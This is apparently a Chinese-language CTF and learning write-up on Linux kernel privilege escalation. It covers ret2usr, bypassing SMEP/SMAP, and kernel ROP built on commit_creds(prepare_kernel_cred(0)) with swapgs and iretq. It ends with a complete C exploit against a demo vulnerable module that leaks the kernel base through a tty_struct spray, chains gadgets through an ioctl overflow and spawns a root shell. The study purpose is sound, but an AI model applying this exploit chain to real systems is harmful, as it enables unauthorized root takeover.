exploitation
這題也是 qwb 的 core ,除了最後的幾步之外跟前一篇 rop 沒啥差別,所以會更簡短一些
差異只在 rop chain 的構造稍有不同:
Kernel ROP:
commit_creds(prepare_kernel_cred(0))
然後返回到 user spaceret2usr:
commit_creds(prepare_kernel_cred(0))
SMEP: 無法執行 user 的 code
SMAP: 無法訪問 user 的 data
SMEP/SMAP 阻擋 ret2usr
ret2usr 基本上就是把 commit_creds(prepare_kernel_cred(0)) 寫在程式裡面
void root()
{
char *(pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
cc(pkc(0));
}
透過 overwrite return address ,在 kernel 控制程式流程後跳到 userland 的 root()
// return address
payload[k++] = root;
切換回 userspace
payload[k++] = swapgs;
payload[k++] = 0;
// return to user space
payload[k++] = iret;
以下為 iret 必要的 status data
payload[k++] = spawn_shell;
payload[k++] = user_cs;
payload[k++] = user_rflags;
payload[k++] = user_sp;
payload[k++] = user_ss;
ret2usr 我覺得可以看成一種 rop 的變形,差別就在 ret2usr 主要工作是返回到 user space 上的 code ,因此 rop chain = ret2usr + swapgs + iret ,而 rop 要在 kernel 內透過 gadgets 完成上述工作。
從複雜度來看 rop 要難於 ret2usr ,不過 ret2usr 會被 SMEP 阻擋,最萬用的還是 rop 吧
ret2usr 之所以不能用是因為 smep 不讓 attacker 從 kernel 執行 user space 上的 code
退而求其次,先在 user space 上擺好 rop chain ,控制 kernel 流程後 stack pivot 到 user space 我們擺好的 rop chain 上面
接著透過 ROP 關掉 smep 之後就能再次直接執行 user space 的 code
不過這個方法會被 smap
補充:
這次是從 yuawn 的 kernel-exploitation快速紀錄
從 yuawn 的 kernel-exploitation 學習,其中一些技巧之前在 ctf-wiki 上有碰過不過還是玩一下看有沒有新的見解
目標一樣是 kernel module ,作者設計了一個選單題,該 module 能讀取、寫入、分配 kernel 記憶體,另外還有一個 overflow 可以控制 kernel 執行流程
SMEP 簡單講就是 kernel 不能去執行放在 ring3 的 code ,這邊透過一個簡單的 demo 展示一下如何繞過
主要是:
rflag 可以用 pushf
將 rflags 壓進 stack ,再 pop 出來
/dev/ptmx
申請一堆 tty_struct申請 tty_struct 有幾個好處:
雖然較少人申請,以防萬一還是先申請 256 個 tty_struct 後再 close 來 free 掉,保證下次申請 0x2c0 空間的時候可以拿到之前 free 掉的 tty_struct 好方便 leak
這樣會取得剛剛 free 掉的 tty_struct ,接著就可以透過讀取記憶體內容 leak kernel address ,扣掉 offset 就可以得到之後會用到的 kernel address
從剛剛拿到的 kernel address 得到需要用到的 kernel gadgets 和 prepare_kernel_creds / commit_creds
rop chain 執行順序是:
prepare_kernel_creds(0)
mov rdi, rax
swapgs 根據參考資料,他是 long mode 底下用來提供一種無需一般 register 就能透過 gs 來訪問 kernel memory 的功能,因為在某些情況一般 register 無法載入 kernel 記憶體
這邊 swapgs 的用意是將 kernel gs 換成 user gs
iret 則是從 kernel 切換回 user ,但他需要一些額外資訊,所以剛開始就要保存 status ,按照固定的順序將 status 放到 rop 內
iret 執行完後跳到放到 stack 的 user rip
完整的 code repo 上有,不過我這邊複製一下:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <syscall.h>
#include <string.h>
#include <pthread.h>
#include <sys/mman.h>
#include <signal.h>
#include <assert.h>
#include <stdint.h>
#include "demo_note.h"
#define ASM __asm__
#define PAUSE scanf("%*c");
void get_shell(int sig){
printf( "[*] get shell\n" );
system("sh");
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
ASM("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
int main(){
save_status();
int pfd[0x100];
for( int i = 0 ; i < 0x100 ; ++i ){
pfd[i] = open( "/dev/ptmx" , O_RDWR | O_NOCTTY ); // tty_struct
if (pfd[i] == -1)
printf("open ptmx err\n");
}
for( int i = 0 ; i < 0x100 ; ++i )
close(pfd[i]);
int fd = open("/dev/demo", O_RDWR);
size_t buf[0x100] = {0};
add_note(fd, 0x2c0);
read_note(fd, 0, buf);
//for( int i = 0 ; i < 0x2c0 / 8 ; ++i )
// printf( "%d: 0x%lx\n" , i , buf[i] );
size_t kbase = buf[3] - 0x10a6e20;
printf( "[*] kernel base -> %p\n", kbase );
size_t rop[100];
size_t prepare_kernel_cred = kbase + 0xbc7e0;
size_t commit_creds = kbase + 0xbc350;
size_t pop_rdi = kbase + 0x815d0;
size_t mov_rdi_rax = kbase + 0x29951; // mov rdi, rax; mov eax, ebx; pop rbx; pop rbp; or rax, rdi; ret;
size_t swapgs = kbase + 0x6def0; // swapgs; ret;
size_t iretq = kbase + 0x3b1e4; // iretq; pop rbp; ret;
int i = -1;
rop[++i] = pop_rdi;
rop[++i] = 0;
rop[++i] = prepare_kernel_cred;
rop[++i] = mov_rdi_rax;
rop[++i] = 0;
rop[++i] = 0;
rop[++i] = commit_creds;
// status switch
rop[++i] = swapgs;
rop[++i] = iretq;
rop[++i] = get_shell;
rop[++i] = user_cs;
rop[++i] = user_rflags;
rop[++i] = user_sp;
rop[++i] = user_ss;
req.arg1 = rop;
ioctl( fd, DEMO_OVERFLOW , &req );
return 0;
}